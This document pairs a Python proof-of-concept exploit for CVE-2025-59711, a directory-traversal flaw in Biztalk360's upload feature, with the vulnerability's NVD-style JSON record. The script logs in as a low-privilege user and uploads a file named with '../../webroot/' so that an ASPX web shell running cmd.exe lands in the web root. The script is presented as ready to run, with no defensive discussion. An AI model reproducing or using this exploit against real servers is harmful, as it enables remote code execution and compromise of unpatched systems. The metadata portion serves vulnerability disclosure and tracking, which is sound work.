CVE-2025-59711

import requests # Target configuration target_url = "http://vulnerable-host/upload_endpoint" login_url = "http://vulnerable-host/login" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Establish session session = requests.Session() login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Path traversal payload to write outside destination directory # Attempting to write a webshell to the web root payload_filename = "../../webroot/shell.aspx" shell_content = "<%@ Page Language=\"C#\" %>" shell_content += "<script runat=\"server\">void Page_Load(){System.Diagnostics.Process.Start(\"cmd.exe\",\"/c whoami\");}</script>" files = { "file": (payload_filename, shell_content) } # Send malicious upload request try: response = session.post(target_url, files=files) if response.status_code == 200: print("[+] Potential exploit successful. Check the target path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2025-59711", "sourceIdentifier": "[email protected]", "published": "2026-04-03T15:16:04.637", "lastModified": "2026-04-09T00:30:06.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Biztalk360 before 11.5. Because of mishandling of user-provided input in an upload mechanism, an authenticated attacker is able to write files outside of the destination directory and/or coerce an authentication from the service, aka Directory Traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kovai:biztalk360:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.6.3963.2611", "matchCriteriaId": "71A18991-9CB5-4CF6-BE4C-1F8A8847AEE0"}]}]}], "references": [{"url": "https://www.synacktiv.com/en/advisories/remote-code-execution-from-any-domain-account-in-biztalk360", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}